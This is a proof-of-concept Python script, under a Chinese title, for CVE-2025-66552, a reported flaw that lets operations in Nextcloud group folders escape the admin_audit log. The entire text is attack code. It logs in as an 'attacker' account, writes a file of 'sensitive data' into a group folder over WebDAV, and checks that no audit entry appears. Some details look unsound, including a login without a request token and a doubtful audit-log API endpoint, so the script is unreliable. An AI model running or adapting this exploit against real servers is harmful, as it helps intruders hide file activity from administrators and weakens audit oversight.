CVE-2025-66552 Nextcloud Server群组文件夹审计日志绕过漏洞

# CVE-2025-66552 PoC - Nextcloud Groupfolders Audit Bypass # This PoC demonstrates that operations on groupfolders are not logged by admin_audit import requests import json # Configuration NEXTCLOUD_URL = "https://your-nextcloud-server.com" USERNAME = "attacker" PASSWORD = "password" GROUPFOLDER_ID = "1" # ID of the groupfolder def authenticate(): """Authenticate to Nextcloud and get session token""" session = requests.Session() login_url = f"{NEXTCLOUD_URL}/index.php/login" # Perform login response = session.post(login_url, data={ "user": USERNAME, "password": PASSWORD }) return session def create_file_in_groupfolder(session): """Create a file in groupfolder - this should be logged but won't be due to the vulnerability""" # Create file via WebDAV file_url = f"{NEXTCLOUD_URL}/remote.php/dav/files/{USERNAME}/Groupfolders/{GROUPFOLDER_ID}/sensitive.txt" response = session.put(file_url, data="Sensitive data exfiltration") print(f"File creation response: {response.status_code}") return response.status_code == 201 def check_audit_log(session): """Check admin_audit log for the file creation event""" # Query audit logs - the file creation should NOT appear due to the vulnerability audit_url = f"{NEXTCLOUD_URL}/ocs/v2.php/apps/admin_audit/api/v1/logs" response = session.get(audit_url) logs = response.json() # Search for our file operation in logs for log in logs.get("ocs", {}).get("data", []): if "sensitive.txt" in str(log): print("File operation was logged (vulnerability may be fixed)") return True print("File operation was NOT logged - vulnerability confirmed!") return False def main(): print("CVE-2025-66552 PoC - Nextcloud Groupfolders Audit Bypass") print("=" * 60) session = authenticate() # Create file in groupfolder if create_file_in_groupfolder(session): print("[+] File created in groupfolder") # Check if it was logged check_audit_log(session) else: print("[-] Failed to create file") if __name__ == "__main__": main()